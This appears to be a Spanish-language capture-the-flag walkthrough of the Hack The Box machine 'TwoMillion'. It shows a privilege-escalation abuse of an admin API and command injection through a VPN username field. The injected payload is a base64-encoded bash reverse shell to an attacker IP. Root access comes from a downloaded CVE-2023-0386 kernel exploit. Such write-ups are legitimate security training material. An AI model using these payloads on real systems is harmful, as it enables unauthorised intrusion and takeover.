Inicio TwoMillion - HTB Writeup
Entrada
Cancelar

TwoMillion - HTB Writeup

TwoMillion es una máquina de dificultad Easy en la plataforma Hack The Box

Esta máquina se lanzó para conmemorar que la plataforma había llegado a los 2 millones de usuarios. En esta máquina podremos “volver” a la versión antigua de Hack The Box

Reconocimiento

Utilizaremos la herramienta nmap para averiguar y listar los puertos abiertos en la máquina víctima:

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.95 -oG allPorts

img

Vamos a acceder a la web de la máquina a ver que nos encontramos:

Nos realiza un rediccionamiento a http://2million.htb/

img

La página es estática, ninguno de los botones es funcional, menos los botones Join y Login . El que nos interesa es el Join, el cual nos redirige a /invite:

img

Hechandole un vistazo al código de la página, podemos ver que el botón Submit envia una petición por POST a /api/v1/invite/verify para realizar una comprobación de si el códio de invitación en válido o no. Tambíen encontramos un script llamado inviteapi.min.js. Si hacemos click encima, podemos ver que hace:

1
curl http://2million.htb/js/inviteapi.min.js; echo

img

Como podemos ver el código está ofuscado, para poder leerlo de manera clara, podemos utilizar recursos como de4js. Esto es lo que conseguimos de sacar el código de manera clara:

img

Vemos que se realiza una petición por POST a /api/v1/invite/how/to/generate , por lo tanto, vamos a realizar dicha petición utilizando curl:

1
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | jq

img

Podemos ver que hay un mensaje encriptado, pero nos indica que tipo de cifrado, el cual es ROT13 . Podemos acceder al recurso rot13 donde podemos introducir el mensaje encriptado y nos devolvera el output de manera legible. El mensaje que conseguimos es el siguiente:

1
In order to generate the invite code, make a POST request to /api/v1/invite/generate

El mensaje nos indica que podemos realizar una petición por POST a /api/v1/invite/generate para generar un código de invitación. Vamos a ver que ocurre

1
curl -s -X POST http://2million.htb/api/v1/invite/generate | jq

img

Podemos ver que hay otro mensaje encriptado, pero esta vez en base64 , por lo tanto simplemente desde nuestra terminal podremos ver que dice el mensaje utilizando el comando base64 -d

1
echo "<cookie>" | base64 -d; echo

img

Como podemos ver, hemos conseguido generar un codigo de invitación, asi que vamos a introducirlo en la web de la máquina. Como vemos nos redirige a /register

img

Vamos a rellenar los campos con credenciales:

img

Como podemos ver nos redirige a /login , donde introduciremos las credenciales que hemos introducido en la página de registro. Al hacer click en Login vemos que podremos acceder a la web y seremos redirigidos a /home

img

Vamos a acceder a uno de los pocos apartados funcionales, el cual es Access

img

Como podemos observar en esta página podemos descargar un Connection Pack o regenerar el archivo VPN para acceder a HTB. Vamos a pasar por Burpsuite el uso del botón Connection Pack

img

Como vemos el botón hace una petición por GET a /api/v1/users/vpn/generate. Además de que tenemos una cookie asignada a nuestro usuario, que utilizaremos más adelante

Vamos a realizar una petición utilizando curl a /api a ver que sucede:

1
curl -v 2million.htb/api

img

Esta petición nos devuelve un codigo de estado 401 Unauthorized . Vamos a proporcionar la cookie de sesión que hablabamos anteriormente:

1
curl -sv 2million.htb/api --cookie "PHPSESSID=<cookie>" | jq

img

Vamos a realizar otra petición a /api/v1 a ver que podemos sacar

img

En este punto obtenemos una larga lista de endpoints de la api . Los que más nos interesan son los que están relacionados con admin

Vamos a realizar una petición PUT a /admin/settings/update para ver que ocurre

1
curl -sv -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=<cookie>" | jq

img

Esta vez no obtenemos un error 401 Unauthorized, sino que la api responde con Invalid content type . Vamos a introducir un Header Content-Type a ver que sucede

1
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" | jq

img

Resulta que recibimos otro mensaje de error, vamos a hacerle caso y vamos a introducir un parametro email junto con la petición

1
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" --data '{"email":"test@test.com"}' | jq

img

Un nuevo mensaje de error, nos indica que falta un parámetro is_admin , vamos a introducirlo con la petición

1
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" --data '{"email":"test@test.com","is_admin": true}' | jq

img

Nos indica que el valor del parametro is_admin debe tener un valor de 0 o 1

1
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" --data '{"email":"test@test.com","is_admin": 1}' | j

img

Hemos conseguido hacer que el usuario test creado anteriormente sea administrador , si lo deseamos podemos hacer la petición a /admin/auth para comprobar si el usuario es administrador.

img

Explotación

Vamos a volver a /admin/vpn/generate , ya que ahora tenemos suficientes permisos

1
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" | jq

img

Vemos que necesitamos añadir un parametro username , añadiremos el que habiamos creado anteriormente

1
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" --data '{"username":"test"}'

img

Despues de realizar la petición anterior podemos ver como se generó un archivo de configuración VPN. Si este archivo está siendo generado a través de la función exec o system y no hay suficiente filtado, podríamos dar con una ejecución de comandos y así poder inyectar código malicioso, este lo vamos a inyectar en el campo del usuario

img

Vamos a introducir el oneline típico para conseguir una shell, poniendonos en escucha desde otra terminal con nc

El comando bash -i >& /dev/tcp/10.10.14.18/1234 0>&1 lo deberemos encodear en base64

1
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=rpf1pkevrhofovndhpd4d4nbl6" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80NDMgMD4mMQo= | base64 -d | bash;"}'

img

En el archivo .env podemos ver que hay unas credenciales admin:SuperDuperPass123 , por lo tanto trataremos de conectarnos por SSH con estas credenciales:

img

Como vemos, hemos conseguido acceso a la máquina con dicho usuario, ya podemos ver la user flag, pero aun no tenemos permiso para ver la del root

Escalada de Privilegios

En /var/mail podemos ver un archivo llamado admin , el cual contiene un mail

img

Como vemos el mail es de un tal ch4p, el cual le esta diciendo a admin que hay que realizar actualizaciones en el sistema debido a que existen problemas serios con exploits en el kernel, más especificamente un exploit para OverlayFS / FUSE . Si buscamos este exploit en google CVE-2023-0386 podemos ver que versiones de kernel son vulnerables a este exploit en un foro de ubuntu.

Utilizando el comando uname -a podemos ver que en la máquina víctima tiene una versión 5.15.70 de kernel. Si usamos el comando lsb_release -a podemos observar que el codename es Jammy , esto nos hace saber que esta máquina es vulnerable a este exploit del kernel

Vamos a descargar el exploit de este repositorio de github

Este lo clonaremos en nuestra máquina de atacante, y con el uso de

1
 tar -cjvf CVE-2023-0386.tar.bz2 CVE-2023-0386

crearemos un archivo comprimido del repositorio.

Utilizaremos

1
 python3 -m http.server 80

para crear un servidor donde estará el archivo, y por último, estando en la ruta /tmp de la máquina víctima donde tenemos permiso de escritura, usaremos

1
wget http://10.10.14.18/CVE-2023-0386.tar.bz2

para conseguir el archivo.

Todo este proceso se debe a que las máquinas de HTB no tienen acceso a internet

Descomprimiremos el archivo con

1
tar -xf CVE-2023-0386.tar.bz2

y accederemos al archivo descomprimido donde haremos

1
make all

posteriormente seguiremos las instrucciones del repositorio.

Primero ejecutaremos

1
./fuse ./ovlcap/lower ./gc

posteriormente

1
./exp

y así ya tendremos acceso completo a la máquina como root y a la root flag

img

Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.